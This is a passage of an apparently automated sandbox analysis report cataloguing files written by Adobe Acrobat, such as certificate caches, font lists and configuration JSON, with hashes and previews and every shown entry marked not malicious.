SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkliygMGltfllXlE/HT8k2ltNNX8RolJuRdxLlGB9lQRYwpDdt:kK7VeT8RNMa8RdWBwRd
MD5:	C4C612333BB1D904119E391DD970266B
SHA1:	F54AE17D5CE89B6B6C7C053B8CAE5ECB4FCCBEFC
SHA-256:	ACD89B0991E0DF45B1F55AEFB1B1EC201DCE4658654BA59C30E042C01118F62B
SHA-512:	9EC06ED4C49B93B5F04D3D3123F50F988EBC8D315288DC285ADA4E8545A6EEF8F29182076C926DEA6CC2EB1ECBA422B012EFD68550E3D6A157040944D0A983EF
Malicious:	false
Preview:	p...... ..........$.c..(....................................................... ..........W.....f..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.230795304831838
Encrypted:	false
SSDEEP:	6:kKxL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:5iDImsLNkPlE99SNxAhUe/3
MD5:	6D4AA4F34C02C0674D3688B772F2362A
SHA1:	10AF02D9EE3CB78E95575ECF32BD5C25D93E36EB
SHA-256:	84581F9721584FD400BA92D5D8B986255E42F93D6B28606770119163147009B6
SHA-512:	4FD3235349C0413A65F58466652AA3423FEABBB57548095D9BD0B8FD7F8FA507763CF71A78BA9E27DD094718AFBE6E5D3E526AEA3E738D3C94B054B0E9CEFF5E
Malicious:	false
Preview:	p...... ........E..7.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7804

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7804

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.352032438884224
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJM3g98kUwPeUkwRe9:YvXKXcT5LjIPaVwGMbLUkee9
MD5:	F1B946B8CE18064FCEA438BF22A5498A
SHA1:	FCE42ABB96881C6034D4CA6B7F5E98EA2B54F218
SHA-256:	4A5E54BCFF7E6A8DD7B17E578EDD53AA64F9A30B43679E8C8B6C7DB355EA0BB0
SHA-512:	CB86B1B376083A80EEE7178C15611496275498052F84227D15437CAB61571F5FFC41BC82D0B1A0CFC5F442EC5C640EE604435778F1BE0C777952DD66F3775CBB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306898738199332
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJfBoTfXpnrPeUkwRe9:YvXKXcT5LjIPaVwGWTfXcUkee9
MD5:	142C07EFA4F56B23B467F979177C80E3
SHA1:	E933A200FB3249DD24B0340867E8F6E4698543EE
SHA-256:	2D6503D5E352A92F86DF2D1A84333E0CDB8905D72017044F32EA8FA96B356F5E
SHA-512:	C337033F2E7DC222644E5460E03223CE9C76F2AE9ECC6AA0DAA3B34FC985DC7BBC062D574B80981E1DAE7CB3DBD60DC383808A44ADD981185A1D5A1A56517284
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284851338198692
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJfBD2G6UpnrPeUkwRe9:YvXKXcT5LjIPaVwGR22cUkee9
MD5:	F646463C3A6E7E869F7E47802EED529F
SHA1:	0E6818322DAA96DD93CCAA0D0AFAEF0D030C2EAB
SHA-256:	1F334836C8D40BCF538495C57BD0DEA6FDA1F53ACAA46F37F986DA90F6F17124
SHA-512:	967031BD5D1B7701A12D036CBAE3768C43C798D2B73B7C8BF7B89D9A30ECF1F95352625EAC261455A0C493055AF452034B8B7C00FC2BDABCB7E35D8561D75C68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.332636894340055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJfPmwrPeUkwRe9:YvXKXcT5LjIPaVwGH56Ukee9
MD5:	DEBF878D63AA3252CF131A8E2C433EFE
SHA1:	575F5D7E8DBB2CB890704D3C6ABDA22004169987
SHA-256:	B6DABF8D9A9640B7822EA8E3875AB88516FE45A08EB9A043F85E24152125B15D
SHA-512:	DC8B0009038B8D94E7BAE2B83CCF8E559269A5249DB7F834A69E468116032214BE235F91CE351905782DEC567DBF5C7D748FB606B1E2E23A66E8145109318E70
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6959585154587336
Encrypted:	false
SSDEEP:	24:Yv6XcT5XICHpLgE9cQx8LennAvzBvkn0RCmK8czOCCS/:YvdXBHhgy6SAFv5Ah8cv//
MD5:	1972708768FA6017BC9560E5A06024DB
SHA1:	CE49A2C12F6669A09CA6B324D724780CF002F72A
SHA-256:	5A2EA6E0DFA5B0CEFB21DA6CB629EC302C2FC80EA3C4EB20357EDCF08580BA31
SHA-512:	989F71215F5F72B635038670C79EF2A0DF6B0C7938C8C53D54FC44566D6D67E314C4DAB82C65116F30190493D6AE49F2B79009CFF28ED8474FB72B881AA2AE67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304150185657175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJf8dPeUkwRe9:YvXKXcT5LjIPaVwGU8Ukee9
MD5:	2EAABC35E3D72C3C79412B211AB179D9
SHA1:	ED1D313FE5CFD0D192C217209AA509FCB459E50A
SHA-256:	B82B30F0E646B5314D18AD9C120AAD7FBC685EA20C1607BB0B589B700C3A2FA8
SHA-512:	2A712A30298CE3AF5E1780182F0C44A0C645514885BD8A5F8FA2037790056FC9F27685A4C96794741FE7A1916866C33805821B4453AF0B3FF5572754A5C649DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.296536996113277
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJfQ1rPeUkwRe9:YvXKXcT5LjIPaVwGY16Ukee9
MD5:	EAFC97033E07224CE4D40A3C03A204C5
SHA1:	D22EBCED053DF5596FE5A795140ABA5ABF5F8AF7
SHA-256:	41207EC3353E297213128F3943EF519C44C051E387BE5F7BA1574030F87FA574
SHA-512:	93F748EA1AF866B0D95A9D99B44589875A3D97F8B646366444F73A95A4D7185435E81D306E763C4762905BB381558E23AA580C69B4CABEE81A477E6F3A33CE1C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311546728370382
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJfFldPeUkwRe9:YvXKXcT5LjIPaVwGz8Ukee9
MD5:	0FCD08944D6F0012554FFFAC91398245
SHA1:	4BD246E3FC06CE50F60E69FB06272E3938D68F28
SHA-256:	AA0C4B311FE6D0EE58D52B6B19750141CF2571D6F64A64C9C8B426C39887ED89
SHA-512:	B84356FE03AF7BC18ADFC4F075EAF2F8C95525C929ABA39932B51B71794F9B0061BBF4F4FA47929C85ADCCA41B3F9660F22D2BAEBB233FF42C56042751B598AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.330519693602865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJfzdPeUkwRe9:YvXKXcT5LjIPaVwGb8Ukee9
MD5:	ECC5F3A2E0507A448D4FE81A9F7AA453
SHA1:	E64C67E8CDFCA08FC8A7C633A061AFB7C865CEDC
SHA-256:	B0892BF663D559E02113BA49A4985A97E1AB7932E6138AC73E5D53D3A7318B4B
SHA-512:	B27EC68C5A9B2DB3B1BD6716D7D64BD78E02F2C2A2F0A525B42F3D2CA3599C73FDEE3335F3CECAA8D6B7B9236B52D9F5EE9CC6DA345B5BBAA8482DC4F63BF40E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311672527867438
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJfYdPeUkwRe9:YvXKXcT5LjIPaVwGg8Ukee9
MD5:	94CC9B4E7DDD882EA922C5F5A4442677
